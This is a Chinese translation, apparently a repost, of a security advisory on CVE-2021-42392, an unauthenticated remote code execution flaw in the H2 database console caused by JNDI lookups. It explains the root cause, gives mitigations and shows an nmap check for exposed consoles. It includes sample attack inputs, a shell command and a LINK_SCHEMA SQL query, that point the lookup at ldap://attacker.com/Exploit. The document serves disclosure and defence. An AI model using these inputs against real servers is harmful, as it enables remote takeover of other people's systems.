深入分析H2數(shù)據(jù)庫(kù)控制臺(tái)中無(wú)需身份驗(yàn)證的RCE漏洞

image.png

簡(jiǎn)介

最近,JFrog安全研究團(tuán)隊(duì)披露了H2數(shù)據(jù)庫(kù)控制臺(tái)中的一個(gè)安全漏洞,其編號(hào)為CVE-2021-42392。這個(gè)安全漏洞與Apache Log4j中臭名昭著的Log4Shell漏洞(JNDI遠(yuǎn)程類(lèi)加載)有著相同的根源。

H2是一個(gè)非常流行的開(kāi)源Java SQL數(shù)據(jù)庫(kù),提供一個(gè)輕量級(jí)的內(nèi)存解決方案,使得用戶(hù)無(wú)需將數(shù)據(jù)存儲(chǔ)在磁盤(pán)上。這使得它成為各種項(xiàng)目的首選數(shù)據(jù)存儲(chǔ)解決方案:從Spring Boot等網(wǎng)絡(luò)平臺(tái)到ThingWorks等物聯(lián)網(wǎng)平臺(tái)。而com.h2database:h2包則是最流行的50個(gè)Maven包之一,具有近7000個(gè)工件依賴(lài)項(xiàng)。

由于目前任何與(Java)JNDI有關(guān)的東西都很敏感,所以,在介紹H2漏洞發(fā)現(xiàn)之旅之前,我們有必要先澄清一下成功利用該漏洞的前提條件和配置。

盡管這兩個(gè)漏洞的根源相似,但由于以下因素,CVE-2021-42392漏洞并沒(méi)有像Log4Shell(CVE-2021-44228)漏洞那樣常見(jiàn):

1、與Log4Shell不同,該漏洞的影響范圍是“直接”的。這意味著,通常只有處理初始請(qǐng)求的服務(wù)器(H2控制臺(tái))才會(huì)受到該RCE的影響。與Log4Shell相比,這個(gè)漏洞的影響相對(duì)較小,因?yàn)橐资芄舻姆?wù)器應(yīng)該很容易找到。

2、在H2數(shù)據(jù)庫(kù)的vanilla發(fā)行版上,默認(rèn)情況下,H2控制臺(tái)只監(jiān)聽(tīng)本地主機(jī)連接:這使得默認(rèn)設(shè)置是安全的。這與Log4Shell不同,Log4Shell在Log4j的默認(rèn)配置中是可以利用的。然而,值得注意的是,H2控制臺(tái)也可以很容易地被修改為監(jiān)聽(tīng)遠(yuǎn)程連接。

3、許多供應(yīng)商可能運(yùn)行H2數(shù)據(jù)庫(kù),但并不會(huì)運(yùn)行H2控制臺(tái)。盡管除了控制臺(tái)之外還有其他可利用這個(gè)漏洞的途徑,但它們都嚴(yán)重依賴(lài)于上下文,所以不太可能暴露給遠(yuǎn)程攻擊者。

也就是說(shuō),如果您運(yùn)行的H2控制臺(tái)暴露給了局域網(wǎng)(或者更糟糕的是,廣域網(wǎng)),這個(gè)安全問(wèn)題就很?chē)?yán)重了(無(wú)需身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行漏洞),所以,您應(yīng)該立即將H2數(shù)據(jù)庫(kù)更新到2.0.206版本。

我們還發(fā)現(xiàn),許多開(kāi)發(fā)者工具都依賴(lài)H2數(shù)據(jù)庫(kù),并特意暴露了H2控制臺(tái)(后面會(huì)舉一些例子)。根據(jù)最近針對(duì)開(kāi)發(fā)者的供應(yīng)鏈攻擊的趨勢(shì)來(lái)看,如流行的存儲(chǔ)庫(kù)中的惡意包,應(yīng)該提高對(duì)開(kāi)發(fā)者工具對(duì)所有合理使用情況的安全性的重視。我們認(rèn)為,依賴(lài)H2的開(kāi)發(fā)者工具應(yīng)盡快采用修復(fù)后的數(shù)據(jù)庫(kù)版本,以提高其安全性。

【點(diǎn)擊查看學(xué)習(xí)資料】或私信回復(fù)“資料”獲取

在這里插入圖片描述

我們?yōu)槭裁匆獟呙鐹NDI的漏洞?

我們從Log4Shell漏洞事件中得到的一個(gè)重要啟示是,由于JNDI的廣泛使用,必然會(huì)有更多的軟件包受到與Log4Shell相同的根源的影響:接受任意的JNDI查找URLs。因此,我們調(diào)整了自動(dòng)漏洞檢測(cè)框架,將”javax.naming.Context.lookup“函數(shù)視為危險(xiǎn)函數(shù)(sink),并將該框架釋放到Maven倉(cāng)庫(kù)中,希望能找到與Log4Shell類(lèi)似的安全漏洞。

我們得到的第一個(gè)有效命中點(diǎn)是關(guān)于H2數(shù)據(jù)庫(kù)包的。在確認(rèn)了這個(gè)問(wèn)題后,我們把它報(bào)告給了H2的維護(hù)者,他們及時(shí)在新的版本中修復(fù)了這個(gè)問(wèn)題,并在GitHub上發(fā)布了一個(gè)關(guān)鍵漏洞的公告。隨后,我們也公布了一個(gè)高危漏洞,編號(hào)為CVE-2021-42392。

在這篇文章中,我們將介紹我們?cè)贖2數(shù)據(jù)庫(kù)中發(fā)現(xiàn)的幾個(gè)允許觸發(fā)遠(yuǎn)程JNDI查詢(xún)的攻擊途徑,其中一個(gè)途徑可以實(shí)現(xiàn)無(wú)需身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行。


在這里插入圖片描述

漏洞根源:JNDI遠(yuǎn)程類(lèi)加載

簡(jiǎn)單來(lái)說(shuō),該漏洞的根本原因與Log4Shell類(lèi)似:H2數(shù)據(jù)庫(kù)框架中的幾個(gè)代碼路徑將未經(jīng)過(guò)濾的、攻擊者控制的URL直接傳遞給了javax.naming.Context.lookup函數(shù),這將允許遠(yuǎn)程加載代碼庫(kù)(又稱(chēng)Java代碼注入,又稱(chēng)遠(yuǎn)程代碼執(zhí)行)。

具體來(lái)說(shuō),org.h2.util.JdbcUtils.getConnection方法需要一個(gè)驅(qū)動(dòng)程序類(lèi)名稱(chēng)和數(shù)據(jù)庫(kù)URL作為參數(shù)。如果驅(qū)動(dòng)程序的類(lèi)可分配給javax.naming.Context類(lèi),則該方法會(huì)從中實(shí)例化一個(gè)對(duì)象并調(diào)用其查找方法:

else if (javax.naming.Context.class.isAssignableFrom(d)) {
    // JNDI context
    Context context = (Context) d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource) context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

所以,如果提供一個(gè)驅(qū)動(dòng)類(lèi)(如javax.naming.InitialContext)和一個(gè)URL(如ldap://attacker.com/Exploit),就會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行。

在這里插入圖片描述

CVE-2021-42392攻擊向量

H2控制臺(tái)——上下文無(wú)關(guān)的、無(wú)需身份驗(yàn)證的RCE

這個(gè)安全問(wèn)題最嚴(yán)重的攻擊向量是通過(guò)H2控制臺(tái)發(fā)動(dòng)攻擊。

H2數(shù)據(jù)庫(kù)包含一個(gè)內(nèi)嵌的、基于Web的控制臺(tái),幫助管理員輕松管理數(shù)據(jù)庫(kù)。當(dāng)運(yùn)行H2包JAR時(shí),它在http://localhost:8082上是默認(rèn)可用的:

java -jar bin/h2.jar

此外,在Windows系統(tǒng)上,也可以通過(guò)“開(kāi)始”菜單啟用它:


在這里插入圖片描述

此外,當(dāng)H2作為一個(gè)嵌入式庫(kù)使用時(shí),該控制臺(tái)可以從Java中啟動(dòng):

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();

對(duì)控制臺(tái)的訪問(wèn)是通過(guò)一個(gè)登錄表格來(lái)提供保護(hù)的,它允許將“driver”和“url”字段傳遞給JdbcUtils.getConnection的相應(yīng)字段。正是這一點(diǎn)導(dǎo)致了無(wú)需身份驗(yàn)證的RCE,因?yàn)樵谟脻撛诘膼阂釻RL進(jìn)行查找之前,根本無(wú)需驗(yàn)證用戶(hù)名和密碼。


在這里插入圖片描述

在默認(rèn)情況下,H2控制臺(tái)只能從本地主機(jī)訪問(wèn)。這一選項(xiàng)可以通過(guò)控制臺(tái)的用戶(hù)界面加以修改:


在這里插入圖片描述

或者通過(guò)一個(gè)命令行參數(shù):-webAllowOthers進(jìn)行修改。

不幸的是,我們發(fā)現(xiàn),一些依賴(lài)H2數(shù)據(jù)庫(kù)的第三方工具會(huì)默認(rèn)運(yùn)行暴露給遠(yuǎn)程客戶(hù)端的H2控制臺(tái)。例如,JHipster框架也暴露了H2控制臺(tái),并默認(rèn)將webAllowOthers屬性設(shè)置為true。

# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false

從文檔中可以看出,當(dāng)使用JHipster框架運(yùn)行應(yīng)用程序時(shí),默認(rèn)情況下,允許在/h2-console端點(diǎn)上的JHipster web界面上使用H2控制臺(tái):

在這里插入圖片描述

由于H2數(shù)據(jù)庫(kù)被如此多的工件使用,所以很難量化H2控制臺(tái)中存在多少易受攻擊的部署。我們之所以認(rèn)為這是最嚴(yán)重的攻擊向量,也是因?yàn)槭褂霉菜阉鞴ぞ呔涂梢远ㄎ幻嫦騑AN的易受攻擊的控制臺(tái)。

H2 Shell工具:依賴(lài)上下文的RCE

在內(nèi)置的H2 shell中,能夠控制命令行參數(shù)的攻擊者,可以調(diào)用前面提到的易受攻擊的驅(qū)動(dòng)程序和url來(lái)搞事情:

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

我們認(rèn)為這種攻擊向量是難以奏效的,因?yàn)檫@要求存在自定義代碼,還需要將遠(yuǎn)程輸入通過(guò)管道傳輸這些命令行參數(shù)。但是,如果存在這樣的自定義代碼,攻擊者就可以控制命令行的某些部分,那么這種攻擊就比較有希望了,并能發(fā)動(dòng)參數(shù)注入攻擊。關(guān)于這種攻擊的更多細(xì)節(jié),請(qǐng)參閱我們的Yamale文章。

基于SQL的向量:需要身份驗(yàn)證的(高權(quán)限的)RCE

此外,易受攻擊的JdbcUtils.getConnection也可以被幾個(gè)SQL存儲(chǔ)過(guò)程調(diào)用,而這些存儲(chǔ)過(guò)程在H2數(shù)據(jù)庫(kù)中是默認(rèn)可用的。我們已經(jīng)確定了幾個(gè)存儲(chǔ)過(guò)程,但它們都有相同的屬性,這使得這種攻擊向量威力有限——因?yàn)橹挥薪?jīng)過(guò)身份驗(yàn)證的管理員才能調(diào)用它們。

例如,LINK_SCHEMA存儲(chǔ)過(guò)程直接將驅(qū)動(dòng)程序和URL參數(shù)傳遞到易受攻擊的函數(shù)中,具體如下面的查詢(xún)所示:

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于該存儲(chǔ)過(guò)程只限于DB管理員使用,所以,我們認(rèn)為最可能的攻擊手段是將單獨(dú)的SQL注入漏洞升級(jí)為RCE漏洞。

如何檢測(cè)自己是否受到CVE-2021-42392漏洞的影響?

網(wǎng)絡(luò)管理員可以用nmap掃描他們的本地子網(wǎng),查看H2控制臺(tái)的開(kāi)放實(shí)例,例如:

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(在vanilla安裝中,默認(rèn)的控制臺(tái)端點(diǎn)是"/";對(duì)于通過(guò)第三方工具部署的H2控制臺(tái)來(lái)說(shuō),情況可能有所不同)

任何返回的服務(wù)器都很可能被利用。

如上所述,盡管還存在其他攻擊向量,不過(guò)通過(guò)它們進(jìn)行遠(yuǎn)程利用的可能性要小得多。但是無(wú)論如何,我們都建議用戶(hù)升級(jí)H2數(shù)據(jù)庫(kù)(詳見(jiàn)后文)。

我們是如何檢測(cè)到CVE-2021-42392的?

這個(gè)安全問(wèn)題可以通過(guò)數(shù)據(jù)流分析(DFA)檢測(cè)到,尤其是把Java內(nèi)置的HttpServlet.doGet/doPost方法定義為用戶(hù)輸入源(特別是第1個(gè)req參數(shù)),而把上述的javax.naming.Context.lookup方法(執(zhí)行JNDI查找)定義為危險(xiǎn)函數(shù)/匯時(shí)。

這種情況下的數(shù)據(jù)流是相當(dāng)直接的,盡管需要對(duì)一些類(lèi)的字段進(jìn)行追蹤。紅色標(biāo)記的變量代表追蹤的數(shù)據(jù):


在這里插入圖片描述

在這里插入圖片描述

在這里插入圖片描述

在這里插入圖片描述

針對(duì)CVE-2021-42392的修復(fù)建議

我們建議所有H2數(shù)據(jù)庫(kù)的用戶(hù)盡快升級(jí)到2.0.206版本,即使您沒(méi)有直接使用H2控制臺(tái)。這是因?yàn)檫€存在其他攻擊途徑,其可利用性目前還難以確定。

2.0.206版通過(guò)限制JNDI URL只使用(本地)java協(xié)議來(lái)修復(fù)CVE-2021-42392漏洞,并拒絕任何遠(yuǎn)程LDAP/RMI查詢(xún)。這與Log4j 2.17.0中應(yīng)用的修復(fù)方法類(lèi)似。

如何緩解CVE-2021-42392漏洞的影響?

對(duì)該漏洞的最佳修復(fù)方法是升級(jí)H2數(shù)據(jù)庫(kù)。

對(duì)于目前無(wú)法升級(jí)H2的供應(yīng)商,我們提供以下緩解方案:

1、與Log4Shell漏洞類(lèi)似,較新版本的Java包含trustURLCodebase緩解措施,不允許通過(guò)JNDI直接加載遠(yuǎn)程代碼庫(kù)。供應(yīng)商可升級(jí)其Java(JRE/JDK)版本,以啟用這一緩解措施。

該緩解措施在以下版本的Java(或任何更高的版本)中都是默認(rèn)啟用的:

6u211

7u201

8u191

11.0.1

然而,這種緩解措施并不是無(wú)懈可擊的,因?yàn)楣粽呖梢酝ㄟ^(guò)LDAP發(fā)送一個(gè)序列化的“gadget”Java對(duì)象就可以繞過(guò)該緩解措施,只要相應(yīng)的“gadget”類(lèi)被包含在classpath中(取決于運(yùn)行H2數(shù)據(jù)庫(kù)的服務(wù)器)即可。

2、當(dāng)H2控制臺(tái)Servlet被部署在Web服務(wù)器上時(shí)(不使用獨(dú)立的H2 Web服務(wù)器),可以添加一個(gè)安全約束,只允許特定的用戶(hù)訪問(wèn)控制臺(tái)頁(yè)面。一個(gè)合適的配置例子可以在這里找到。

總結(jié)

最后,我們強(qiáng)烈建議將您的H2數(shù)據(jù)庫(kù)升級(jí)到最新版本,以避免受到與CVE-2021-42392漏洞有關(guān)的攻擊。我們的安全研究團(tuán)隊(duì)正在持續(xù)掃描類(lèi)似的JNDI漏洞,這既是為了負(fù)責(zé)任的披露目的,也是為了提高我們未來(lái)零日漏洞的檢測(cè)能力。據(jù)我們所知,CVE-2021-42392是Log4Shell之后公布的第一個(gè)JNDI相關(guān)的無(wú)需身份驗(yàn)證的RCE漏洞,但我們懷疑它絕不會(huì)是最后一個(gè)。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,606評(píng)論 6 533
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,582評(píng)論 3 418
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 176,540評(píng)論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 63,028評(píng)論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,801評(píng)論 6 410
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 55,223評(píng)論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,294評(píng)論 3 442
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 42,442評(píng)論 0 289
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,976評(píng)論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,800評(píng)論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 42,996評(píng)論 1 369
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,543評(píng)論 5 360
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,233評(píng)論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 34,662評(píng)論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 35,926評(píng)論 1 286
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 51,702評(píng)論 3 392
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 47,991評(píng)論 2 374

推薦閱讀更多精彩內(nèi)容